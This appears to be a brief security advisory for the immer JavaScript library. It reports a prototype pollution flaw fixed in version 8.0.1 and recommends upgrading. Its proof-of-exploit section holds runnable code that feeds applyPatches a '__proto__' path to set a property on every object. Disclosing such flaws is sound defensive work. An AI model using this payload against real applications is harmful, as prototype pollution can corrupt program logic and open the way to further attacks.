Overview

Affected versions of immer are vulnerable to Prototype Pollution.

Proof of exploit

const {applyPatches, enablePatches} = require("immer");
enablePatches();
let obj = {};
console.log("Before : " + obj.polluted);
applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]);
// applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]);
console.log("After : " + obj.polluted);

Remediation

Version 8.0.1 contains a fix for this vulnerability, updating is recommended.

Upgrade to version 8.0.1 or later